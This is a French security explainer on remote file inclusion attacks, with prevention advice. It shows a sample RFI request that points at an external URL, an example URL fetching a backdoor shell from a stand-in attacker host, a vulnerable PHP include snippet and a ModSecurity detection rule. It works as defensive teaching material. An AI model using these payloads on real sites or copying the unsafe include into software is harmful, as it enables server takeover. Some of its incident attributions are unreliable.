6 août 1991. Cette date vous dit quelque chose ? Non, ce n’était pas l’effondrement de l’Union soviétique (bien que vous soyez proche). C’est en ce jour d’été autrement banal que Tim Berners-Lee a lancé la toute première page web. Plus de trente ans se sont écoulés depuis, et les sites web ont bien évolué, n’est-ce pas ? Abandonnant leur ancienne forme statique, les pages web sont devenues dynamiques, interactives et plus sophistiquées que jamais. Mais avec un grand pouvoir vient une grande responsabilité vulnérabilité, et c’est là qu’interviennent les exploits d’inclusion de fichiers distants. Qu’est-ce que l’inclusion de fichiers distants (RFI), vous demandez-vous ? C’est ce que nous allons voir, alors accrochez-vous, car ce sera une aventure mouvementée.
Qu’est-ce que l’inclusion de fichiers distants (RFI) ?
En utilisant le moins de jargon technique possible, l’inclusion de fichiers distants (RFI) désigne ce qui se produit lorsque vous insérez des fichiers provenant de serveurs web distants dans des pages web sans rapport. Avec les sites web d’aujourd’hui, vous pouvez le faire et, le plus souvent, vous le ferez intentionnellement. Normalement, vous incluez des fichiers distants pour afficher du contenu provenant d’applications web distantes. Tant que l’application web inclut dynamiquement du contenu externe (fichiers, scripts, etc.), l’inclusion de fichiers distants est toujours possible.
Et, entre de bonnes mains, ce paramètre peut faire beaucoup de bien, en facilitant la communication entre des pages web distantes et en augmentant le contenu de la page du destinataire. Entre de mauvaises mains, en revanche, ce même paramètre peut conduire à une attaque par inclusion de fichiers distants, et celles-ci peuvent être critiques.
Comment les attaques par inclusion de fichiers distants sont-elles possibles ?
L’objectif des pirates est de tromper la fonction de référencement de l’application web pour qu’elle télécharge des logiciels malveillants (comme des shells de porte dérobée) depuis des URL distantes provenant de différents domaines.
Lorsqu’ils y parviennent, une attaque par inclusion de fichiers distants réussie peut causer de sérieux dommages. Vol d’informations sensibles, serveurs compromis, prises de contrôle complètes de sites où les pirates peuvent modifier le contenu, la liste est longue.
Pour vous donner une idée générale, le processus ressemble en gros à ceci :
- À l’aide d’un moteur de recherche, les attaquants identifient les sites web qui incluent ou fonctionnent avec des composants vulnérables. Bien que moins courant, les pirates peuvent également utiliser des scanners pour identifier ces pages web.
- En exploitant la vulnérabilité d’inclusion de fichiers distants des pages, les attaquants téléchargent des logiciels malveillants sur l’application web.
- Une fois le logiciel malveillant installé, l’application/la page est compromise. Les pirates peuvent modifier, défigurer ou supprimer l’intégralité de la page.
- À partir de là, les attaquants peuvent également détourner le serveur. En l’utilisant comme bot DDoS, ils peuvent compromettre plusieurs sites web.
- Les données sont exposées. Les informations sensibles (y compris les mots de passe) sont accessibles à tous.
Quelle est la différence entre RFI et LFI ?
Vous avez déjà entendu parler des attaques par inclusion de fichiers locaux ? Très bien. Vous avez du mal à distinguer les attaques par inclusion de fichiers locaux et distants ? Pas de souci, nous allons vous expliquer.
Voyez-vous, tout comme les attaques RFI, les attaques locales sont des vecteurs qui consistent à télécharger du contenu malveillant sur des serveurs via des navigateurs web. Parce qu’elles se ressemblent beaucoup, on les mentionne souvent ensemble lorsqu’on parle de vulnérabilités d’inclusion de fichiers.
Qu’elle soit distante ou non, l’attaque peut être considérée comme réussie lorsque les pirates parviennent à télécharger des logiciels malveillants sur les serveurs ciblés. Là où les deux attaques divergent, c’est au milieu du processus. Contrairement aux attaques par inclusion de fichiers distants, les attaques LFI reposent sur l’exploitation de fonctions non sécurisées de téléchargement de fichiers locaux.
Lorsqu’elles ne parviennent pas à valider les entrées fournies et contrôlées par l’utilisateur, des personnes malveillantes peuvent télécharger et exécuter un exploit de traversée de répertoire.
Grâce à cette méthode, les pirates peuvent télécharger des logiciels malveillants sur un système compromis sans faire de détours virtuels. Les adeptes des attaques par inclusion de fichiers distants, en revanche, doivent les récupérer via une fonction de référencement externe altérée depuis un emplacement distant.
Vous n’avez pas encore bien compris le sujet ? C’est normal. Voyons quelques exemples pour comprendre à quoi ressemblent ces vulnérabilités dans la pratique.
Exemples d’inclusion de fichiers distants
Une fois de plus, une attaque par inclusion de fichiers distants est rendue possible lorsque les pirates insèrent des fichiers provenant de serveurs web distants dans des pages web sans rapport. Comment y parviennent-ils ? En utilisant ces méthodes (entre autres) :
Le cas du point d’interrogation final
L’ajout d’un point d’interrogation à la fin du payload RFI injecté figure facilement parmi les techniques RFI les plus courantes et les plus utilisées. S’inspirant des injections SQL, cette méthode utilise des spécificateurs de commentaires (–, ;– ou #) en les plaçant à la fin des payloads.
Cette manœuvre est logique car les personnes derrière l’attaque RFI font ce que le reste du code PHP (celui qu’elles infectent) est censé faire. Parce que c’est le cas, les caractères « ? » font en sorte que le système traite le code non infecté comme un paramètre du code RFI injecté. À partir de là, le code RFI « ignore » le code légitime et n’exécute que le sien. Une attaque typique avec point d’interrogation final ressemble à ceci :
GET//components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://www.miranda.gov.ve/desamiranda/libraries/export/cgi??? HTTP/1.0La façon la plus efficace (et la plus simple) de détecter une telle attaque est de rechercher « (ft|htt)ps?.*?$ ». Par exemple :
SecRule ARGS "(?:ft|htt)ps?.*?+$" "phase:2,rev:'2.2.2',t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,block,status:501,msg:'Remote File Inclusion Attack',id:'950119',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.rfi_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"Le cas du paramètre de requête
La deuxième technique d’attaque la plus prisée parmi les adeptes des vulnérabilités RFI consiste à manipuler les paramètres de requête pour les faire référencer des fichiers malveillants distants. À titre d’illustration, examinez le code ci-dessous :
$incfile = $_REQUEST["file"]; include($incfile.".php");Dans ce cas, tandis que la 1ère ligne extrait la valeur du paramètre de fichier à partir de la requête HTTP suivante, la 2ème ligne fait en sorte que cette valeur définisse dynamiquement le nom du fichier. Parce que la valeur du paramètre de fichier n’est pas correctement assainie, les pirates peuvent exploiter ce code et télécharger des fichiers non autorisés.
Considérez la chaîne URL suivante : http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_. Nous voyons ici une référence externe qui ajoute un fichier de porte dérobée stocké dans un emplacement distant (http://www.hacker.com/backdoor_shell.php.).
Une fois téléchargée dans l’application, cette petite porte dérobée rendra le détournement de la structure sous-jacente du serveur et l’accès à la base de données de l’application un jeu d’enfant.
Une fois téléchargée dans l’application, cette porte dérobée peut être utilisée pour détourner le serveur sous-jacent ou accéder à la base de données de l’application.
Bien qu’il existe d’innombrables shells de porte dérobée, la plupart des attaquants RFI optent généralement pour le R57.
Le cas du fichier PHP
Imaginez, si vous voulez, un développeur qui souhaite inclure un fichier local correspondant à la page spécifiée à l’aide d’un paramètre GET. Cette personne travaillerait avec divers fichiers PHP tels que contact.php, main.php et about.php. Comme vous le savez, chacun de ces fichiers offre des fonctionnalités différentes à la page web. Vous pouvez néanmoins appeler chaque fichier en utilisant la requête ci-dessous que vous envoyez au fichier index.php :
https://example.com/index.php?page=contact.phpIci, le développeur s’attendrait à ce que seuls les fichiers de ce dossier soient inclus. Cependant, il est possible pour les attaquants d’inclure des fichiers d’un répertoire différent (LFI) ou de serveurs web entièrement différents (RFI). C’est particulièrement le cas lorsque l’application web ne dispose pas d’une liste blanche de fichiers.
En fait, lorsque vous n’avez pas de liste blanche avec les seuls fichiers autorisés, les pirates peuvent facilement orienter le chemin d’accès vers la fonction include (ou son équivalent dans un autre langage de programmation). Les attaquants peuvent également inclure des fichiers locaux mais, le plus souvent, ils modifient simplement le chemin vers le fichier situé sur le serveur contrôlé par le pirate.
Après une exécution réussie, les intrus pourront écrire du code malveillant dans le fichier sans polluer les journaux ni injecter de code dans le serveur web.
Exemples réels de RFI
Malgré sa simplicité, le vecteur d’attaque RFI a réussi à causer de sérieux dégâts à de nombreuses reprises. Voici les exemples les plus marquants :
La croisade LulzSec
La communauté de sécurité auto-proclamée ne traite que rarement les vulnérabilités d’inclusion de fichiers distants avec le respect qu’elles méritent. Et, certes, ce n’est pas l’attaque la plus sophistiquée qui soit. Néanmoins, elle peut, et parfois a, des répercussions considérables.
L’attaque RFI la plus connue a été menée il y a plus de 10 ans. À la mi-mai 2011, un groupe de pirates se faisant appeler LulzSec a identifié une faille sur FOX.com et envahi le site avec des bots RFI. À l’aide de ces bots, ils ont réussi à divulguer les informations personnelles (profils et noms) de 73 000 candidats de X Factor US. À la suite de cet incident, le même groupe a réussi à publier un faux article de presse sur PBS et à voler des données concernant pas moins de 24,6 millions de clients du PlayStation Network de Sony.
L’incident des Panama Papers
L’un des incidents de piratage les plus importants et les plus discutés de la dernière décennie, les Panama Papers étaient un ensemble de 11,5 millions de documents provenant du cabinet Mossack Fonseca. Fuités au journaliste allemand Bastian Obermayer en 2015, l’information a été rendue publique en avril 2016. En raison de l’ampleur massive des données divulguées, le Consortium international des journalistes d’investigation a été sollicité.
Si vous ne l’êtes pas, l’importance de l’incident tient aux innombrables personnalités publiques (passées et présentes) impliquées dans le scandale. En révélant les transactions financières douteuses de ces personnalités (notamment leurs liens avec des paradis fiscaux, des cartels de drogue et des terroristes), ces documents ont suscité une vive polémique. Certaines personnalités ont dû démissionner, d’autres déménager, et certaines ont même été arrêtées grâce à la fuite.
En résumé, cet incident était immense. Il y a cependant un bémol : nous ne sommes pas certains que ce soit une attaque par inclusion de fichiers distants qui ait porté le coup de grâce. Parce que le site était hébergé sur des logiciels obsolètes (et parce que les documents ont été divulgués au public par parties), la méthode d’attaque réelle est inconnue. Néanmoins, il y a suffisamment de preuves et de raisons de croire que le RFI faisait partie des vecteurs qui ont précipité la chute du site.
Prévention et atténuation des RFI
Les attaques RFI peuvent causer d’immenses dommages. La bonne nouvelle est qu’il existe plusieurs mesures de sécurité que vous pouvez prendre pour prévenir et atténuer les attaques par inclusion de fichiers distants. Outre la rédaction d’un code irréprochable qui minimiserait les vulnérabilités, voici les étapes que tout le monde peut suivre pour se prémunir contre les RFI :
- L’assainissement. Une technique qui consiste à localiser et supprimer les entrées utilisateur potentiellement dangereuses.
- La validation. C’est là que vous testez les entrées utilisateur avant de les inclure ou de les exécuter.
- L’analyse des vulnérabilités. Ici, vous utilisez tout outil efficace à votre disposition (commercial ou gratuit, du moment qu’il fonctionne) pour analyser régulièrement l’application à la recherche de menaces RFI potentielles.
- La liste blanche. Créez une liste blanche qui maintiendra pour vous tous les types de fichiers/textes vérifiés et sécurisés. Tout ce que vous n’avez pas ajouté à la liste blanche peut (et doit) être ignoré.
- La liste noire. Identifiez les attaquants et les URL nuisibles disponibles publiquement et ajoutez-les à la liste noire. Vous pouvez également y ajouter ceux qui ont déjà tenté d’infiltrer votre site web et/ou serveur.
- La révision de code. Le pare-feu de votre application web devrait disposer d’une fonctionnalité de révision de code. Activez-la pour vous aider à identifier les éventuelles vulnérabilités dans le code.
En conclusion
Les attaques par inclusion de fichiers distants ne figurent pas parmi les vecteurs d’attaque les plus sophistiqués. Et c’est précisément pour cette raison qu’elles peuvent représenter une menace sérieuse. Parce que vous ne pensez pas être vulnérable avant qu’il ne soit trop tard, le RFI peut facilement vous prendre par surprise et vous coûter cher. Cela dit, à condition de ne pas ignorer les suggestions mentionnées ci-dessus et de faire preuve de prudence, vous devriez vous en sortir.
Boostez votre hygiène de sécurité : l’aide-mémoire ultime pour la prévention des RFI
